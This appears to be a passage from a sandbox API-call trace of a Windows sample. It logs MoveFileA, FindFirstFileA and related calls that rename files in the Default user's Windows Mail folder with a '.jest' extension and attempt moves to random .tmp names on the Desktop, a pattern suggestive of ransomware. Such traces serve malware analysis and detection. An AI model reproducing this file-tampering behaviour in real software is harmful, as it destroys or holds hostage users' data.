lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YFZDdUb-_Zw5WEnGoVR7RjWcL3zx3-lXC2LrQ8zDD6RJC38FeDIMVMxsfputjr2fvsmiKYncmRXec3WClVSvNb3SFlgVl-eKPRMm.tmp", lpFilePart=0x18e708*="YFZDdUb-_Zw5WEnGoVR7RjWcL3zx3-lXC2LrQ8zDD6RJC38FeDIMVMxsfputjr2fvsmiKYncmRXec3WClVSvNb3SFlgVl-eKPRMm.tmp") returned 0x8e [0130.121] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", lpFilePart=0x18e708*="Bears.htm") returned 0x4a [0130.121] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YFZDdUb-_Zw5WEnGoVR7RjWcL3zx3-lXC2LrQ8zDD6RJC38FeDIMVMxsfputjr2fvsmiKYncmRXec3WClVSvNb3SFlgVl-eKPRMm.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yfzddub-_zw5wengovr7rjwcl3zx3-lxc2lrq8zdd6rjc38fedimvmxsfputjr2fvsmikyncmrxec3wclvsvnb3sflgvl-ekprmm.tmp")) returned 0 [0130.121] GetLastError () returned 0x2 [0130.121] GetLastError () returned 0x2 [0130.121] SetLastError (dwErrCode=0x2) [0130.122] GetLastError () returned 0x2 [0130.122] SetLastError (dwErrCode=0x2) [0130.122] GetLastError () returned 0x2 [0130.122] SetLastError (dwErrCode=0x2) [0130.122] GetFullPathNameA (in: lpFileName="YFZDdUb-_Zw5WEnGoVR7RjWcL3zx3-lXC2LrQ8zDD6RJC38FeDIMVMxsfputjr2fvsmiKYncmRXec3WClVSvNb3SFlgVl-eKPRMm.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YFZDdUb-_Zw5WEnGoVR7RjWcL3zx3-lXC2LrQ8zDD6RJC38FeDIMVMxsfputjr2fvsmiKYncmRXec3WClVSvNb3SFlgVl-eKPRMm.tmp", lpFilePart=0x18e6e4*="YFZDdUb-_Zw5WEnGoVR7RjWcL3zx3-lXC2LrQ8zDD6RJC38FeDIMVMxsfputjr2fvsmiKYncmRXec3WClVSvNb3SFlgVl-eKPRMm.tmp") returned 0x8e [0130.122] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YFZDdUb-_Zw5WEnGoVR7RjWcL3zx3-lXC2LrQ8zDD6RJC38FeDIMVMxsfputjr2fvsmiKYncmRXec3WClVSvNb3SFlgVl-eKPRMm.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x445a4659, cFileName="dUb-_Zw5WEnGoVR7RjWcL3zx3-lXC2LrQ8zDD6RJC38FeDIMVMxsfputjr2fvsmiKYncmRXec3WClVSvNb3SFlgVl-eKPRMm.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.122] GetLastError () returned 0x2 [0130.122] GetLastError () returned 0x2 [0130.122] SetLastError (dwErrCode=0x2) [0130.123] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.123] CoFreeUnusedLibraries () [0130.123] GetTickCount () returned 0x1152f0d [0130.123] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.123] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.123] GetTickCount () returned 0x1152f0d [0130.123] IsWindowVisible (hWnd=0x30268) returned 0 [0130.123] Sleep (dwMilliseconds=0x0) [0130.123] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb00001.log"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log.jest" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb00001.log.jest")) returned 1 [0130.135] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log", lpFilePart=0x18e6d8*="edb00001.log") returned 0x42 [0130.135] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.135] GetLastError () returned 0x2 [0130.136] VarBstrFromR4 (in: fltIn=0x479446f9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.95") returned 0x0 [0130.136] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.136] CoFreeUnusedLibraries () [0130.136] GetTickCount () returned 0x1152f1c [0130.136] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.136] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.136] GetTickCount () returned 0x1152f1c [0130.137] IsWindowVisible (hWnd=0x30268) returned 0 [0130.137] Sleep (dwMilliseconds=0x0) [0130.137] GetFullPathNameA (in: lpFileName="_wwg2pSrLqexd5 FCVY9 _1M9z7y-vM9b4I3TL_-7YzlNdYz9 waDKVsED0imWfr8-KFdK0d9ssnU0gLui1m0lPFu NGB9Qw0beWa.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_wwg2pSrLqexd5 FCVY9 _1M9z7y-vM9b4I3TL_-7YzlNdYz9 waDKVsED0imWfr8-KFdK0d9ssnU0gLui1m0lPFu NGB9Qw0beWa.tmp", lpFilePart=0x18e708*="_wwg2pSrLqexd5 FCVY9 _1M9z7y-vM9b4I3TL_-7YzlNdYz9 waDKVsED0imWfr8-KFdK0d9ssnU0gLui1m0lPFu NGB9Qw0beWa.tmp") returned 0x8f [0130.137] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log", lpFilePart=0x18e708*="edb00001.log") returned 0x42 [0130.138] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb00001.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_wwg2pSrLqexd5 FCVY9 _1M9z7y-vM9b4I3TL_-7YzlNdYz9 waDKVsED0imWfr8-KFdK0d9ssnU0gLui1m0lPFu NGB9Qw0beWa.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_wwg2psrlqexd5 fcvy9 _1m9z7y-vm9b4i3tl_-7yzlndyz9 wadkvsed0imwfr8-kfdk0d9ssnu0glui1m0lpfu ngb9qw0bewa.tmp")) returned 0 [0130.138] GetLastError () returned 0x2 [0130.138] GetLastError () returned 0x2 [0130.138] SetLastError (dwErrCode=0x2) [0130.138] GetLastError () returned 0x2 [0130.138] SetLastError (dwErrCode=0x2) [0130.138] GetLastError () returned 0x2 [0130.138] SetLastError (dwErrCode=0x2) [0130.138] GetFullPathNameA (in: lpFileName="_wwg2pSrLqexd5 FCVY9 _1M9z7y-vM9b4I3TL_-7YzlNdYz9 waDKVsED0imWfr8-KFdK0d9ssnU0gLui1m0lPFu NGB9Qw0beWa.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_wwg2pSrLqexd5 FCVY9 _1M9z7y-vM9b4I3TL_-7YzlNdYz9 waDKVsED0imWfr8-KFdK0d9ssnU0gLui1m0lPFu NGB9Qw0beWa.tmp", lpFilePart=0x18e6e4*="_wwg2pSrLqexd5 FCVY9 _1M9z7y-vM9b4I3TL_-7YzlNdYz9 waDKVsED0imWfr8-KFdK0d9ssnU0gLui1m0lPFu NGB9Qw0beWa.tmp") returned 0x8f [0130.138] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_wwg2pSrLqexd5 FCVY9 _1M9z7y-vM9b4I3TL_-7YzlNdYz9 waDKVsED0imWfr8-KFdK0d9ssnU0gLui1m0lPFu NGB9Qw0beWa.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6777775f, cFileName="2pSrLqexd5 FCVY9 _1M9z7y-vM9b4I3TL_-7YzlNdYz9 waDKVsED0imWfr8-KFdK0d9ssnU0gLui1m0lPFu NGB9Qw0beWa.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.139] GetLastError () returned 0x2 [0130.139] GetLastError () returned 0x2 [0130.139] SetLastError (dwErrCode=0x2) [0130.140] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.140] CoFreeUnusedLibraries () [0130.140] GetTickCount () returned 0x1152f1c [0130.140] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.140] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.140] GetTickCount () returned 0x1152f1c [0130.140] IsWindowVisible (hWnd=0x30268) returned 0 [0130.140] Sleep (dwMilliseconds=0x0) [0130.140] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.log"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log.jest" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.log.jest")) returned 1 [0130.141] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log", lpFilePart=0x18e6d8*="edb.log") returned 0x3d [0130.142] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.142] GetLastError () returned 0x2 [0130.142] VarBstrFromR4 (in: fltIn=0x479446f9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.95") returned 0x0 [0130.142] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.142] CoFreeUnusedLibraries () [0130.142] GetTickCount () returned 0x1152f1c [0130.142] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.142] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.142] GetTickCount () returned 0x1152f1c [0130.142] IsWindowVisible (hWnd=0x30268) returned 0 [0130.142] Sleep (dwMilliseconds=0x0) [0130.143] GetFullPathNameA (in: lpFileName="Szb9lCnfQ33ypp p6eb6nMUWXG2VY0Nfdg2YCuDCPc JOofQt-rp1Vej4XEgO3sz2KwYpj946mRd-h7dd2VzOjLucrF66UFULEBR.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Szb9lCnfQ33ypp p6eb6nMUWXG2VY0Nfdg2YCuDCPc JOofQt-rp1Vej4XEgO3sz2KwYpj946mRd-h7dd2VzOjLucrF66UFULEBR.tmp", lpFilePart=0x18e708*="Szb9lCnfQ33ypp p6eb6nMUWXG2VY0Nfdg2YCuDCPc JOofQt-rp1Vej4XEgO3sz2KwYpj946mRd-h7dd2VzOjLucrF66UFULEBR.tmp") returned 0x8e [0130.143] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log", lpFilePart=0x18e708*="edb.log") returned 0x3d [0130.143] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Szb9lCnfQ33ypp p6eb6nMUWXG2VY0Nfdg2YCuDCPc JOofQt-rp1Vej4XEgO3sz2KwYpj946mRd-h7dd2VzOjLucrF66UFULEBR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\szb9lcnfq33ypp p6eb6nmuwxg2vy0nfdg2ycudcpc joofqt-rp1vej4xego3sz2kwypj946mrd-h7dd2vzojlucrf66ufulebr.tmp")) returned 0 [0130.143] GetLastError () returned 0x2 [0130.143] GetLastError () returned 0x2 [0130.143] SetLastError (dwErrCode=0x2) [0130.143] GetLastError () returned 0x2 [0130.143] SetLastError (dwErrCode=0x2) [0130.143] GetLastError () returned 0x2 [0130.144] SetLastError (dwErrCode=0x2) [0130.144] GetFullPathNameA (in: lpFileName="Szb9lCnfQ33ypp p6eb6nMUWXG2VY0Nfdg2YCuDCPc JOofQt-rp1Vej4XEgO3sz2KwYpj946mRd-h7dd2VzOjLucrF66UFULEBR.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Szb9lCnfQ33ypp p6eb6nMUWXG2VY0Nfdg2YCuDCPc JOofQt-rp1Vej4XEgO3sz2KwYpj946mRd-h7dd2VzOjLucrF66UFULEBR.tmp", lpFilePart=0x18e6e4*="Szb9lCnfQ33ypp p6eb6nMUWXG2VY0Nfdg2YCuDCPc JOofQt-rp1Vej4XEgO3sz2KwYpj946mRd-h7dd2VzOjLucrF66UFULEBR.tmp") returned 0x8e [0130.144] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Szb9lCnfQ33ypp p6eb6nMUWXG2VY0Nfdg2YCuDCPc JOofQt-rp1Vej4XEgO3sz2KwYpj946mRd-h7dd2VzOjLucrF66UFULEBR.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x39627a53, cFileName="lCnfQ33ypp p6eb6nMUWXG2VY0Nfdg2YCuDCPc JOofQt-rp1Vej4XEgO3sz2KwYpj946mRd-h7dd2VzOjLucrF66UFULEBR.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.144] GetLastError () returned 0x2 [0130.144] GetLastError () returned 0x2 [0130.144] SetLastError (dwErrCode=0x2) [0130.145] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.145] CoFreeUnusedLibraries () [0130.146] GetTickCount () returned 0x1152f2c [0130.146] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.146] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.146] GetTickCount () returned 0x1152f2c [0130.146] IsWindowVisible (hWnd=0x30268) returned 0 [0130.146] Sleep (dwMilliseconds=0x0) [0130.148] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg.jest" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg.jest")) returned 1 [0130.149] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", lpFilePart=0x18e6d8*="SoftBlue.jpg") returned 0x4d [0130.149] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.149] GetLastError () returned 0x2 [0130.150] VarBstrFromR4 (in: fltIn=0x479446fb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.96") returned 0x0 [0130.150] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.150] CoFreeUnusedLibraries () [0130.150] GetTickCount () returned 0x1152f2c [0130.150] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.150] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.150] GetTickCount () returned 0x1152f2c [0130.150] IsWindowVisible (hWnd=0x30268) returned 0 [0130.150] Sleep (dwMilliseconds=0x0) [0130.151] GetFullPathNameA (in: lpFileName="kKMi3WQch4H--n_kSbIkf2xUJD_d3vqvZk1GeFebGTZ7Mh1PzoqA6_ nTSZ6ObgvFd-1Adx0c6uXu9p4nULWAcKGVYYGp6uq-4z.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kKMi3WQch4H--n_kSbIkf2xUJD_d3vqvZk1GeFebGTZ7Mh1PzoqA6_ nTSZ6ObgvFd-1Adx0c6uXu9p4nULWAcKGVYYGp6uq-4z.tmp", lpFilePart=0x18e708*="kKMi3WQch4H--n_kSbIkf2xUJD_d3vqvZk1GeFebGTZ7Mh1PzoqA6_ nTSZ6ObgvFd-1Adx0c6uXu9p4nULWAcKGVYYGp6uq-4z.tmp") returned 0x8d [0130.151] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", lpFilePart=0x18e708*="SoftBlue.jpg") returned 0x4d [0130.152] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kKMi3WQch4H--n_kSbIkf2xUJD_d3vqvZk1GeFebGTZ7Mh1PzoqA6_ nTSZ6ObgvFd-1Adx0c6uXu9p4nULWAcKGVYYGp6uq-4z.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kkmi3wqch4h--n_ksbikf2xujd_d3vqvzk1gefebgtz7mh1pzoqa6_ ntsz6obgvfd-1adx0c6uxu9p4nulwackgvyygp6uq-4z.tmp")) returned 0 [0130.152] GetLastError () returned 0x2 [0130.152] GetLastError () returned 0x2 [0130.152] SetLastError (dwErrCode=0x2) [0130.152] GetLastError () returned 0x2 [0130.152] SetLastError (dwErrCode=0x2) [0130.152] GetLastError () returned 0x2 [0130.152] SetLastError (dwErrCode=0x2) [0130.152] GetFullPathNameA (in: lpFileName="kKMi3WQch4H--n_kSbIkf2xUJD_d3vqvZk1GeFebGTZ7Mh1PzoqA6_ nTSZ6ObgvFd-1Adx0c6uXu9p4nULWAcKGVYYGp6uq-4z.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kKMi3WQch4H--n_kSbIkf2xUJD_d3vqvZk1GeFebGTZ7Mh1PzoqA6_ nTSZ6ObgvFd-1Adx0c6uXu9p4nULWAcKGVYYGp6uq-4z.tmp", lpFilePart=0x18e6e4*="kKMi3WQch4H--n_kSbIkf2xUJD_d3vqvZk1GeFebGTZ7Mh1PzoqA6_ nTSZ6ObgvFd-1Adx0c6uXu9p4nULWAcKGVYYGp6uq-4z.tmp") returned 0x8d [0130.152] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kKMi3WQch4H--n_kSbIkf2xUJD_d3vqvZk1GeFebGTZ7Mh1PzoqA6_ nTSZ6ObgvFd-1Adx0c6uXu9p4nULWAcKGVYYGp6uq-4z.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x694d4b6b, cFileName="3WQch4H--n_kSbIkf2xUJD_d3vqvZk1GeFebGTZ7Mh1PzoqA6_ nTSZ6ObgvFd-1Adx0c6uXu9p4nULWAcKGVYYGp6uq-4z.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.153] GetLastError () returned 0x2 [0130.153] GetLastError () returned 0x2 [0130.153] SetLastError (dwErrCode=0x2) [0130.154] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.154] CoFreeUnusedLibraries () [0130.154] GetTickCount () returned 0x1152f2c [0130.154] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.154] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.154] GetTickCount () returned 0x1152f2c [0130.154] IsWindowVisible (hWnd=0x30268) returned 0 [0130.154] Sleep (dwMilliseconds=0x0) [0130.156] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm.jest" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm.jest")) returned 1 [0130.157] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", lpFilePart=0x18e6d8*="Garden.htm") returned 0x4b [0130.157] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.158] GetLastError () returned 0x2 [0130.158] VarBstrFromR4 (in: fltIn=0x479446fb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.96") returned 0x0 [0130.158] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.158] CoFreeUnusedLibraries () [0130.158] GetTickCount () returned 0x1152f2c [0130.158] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.158] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, 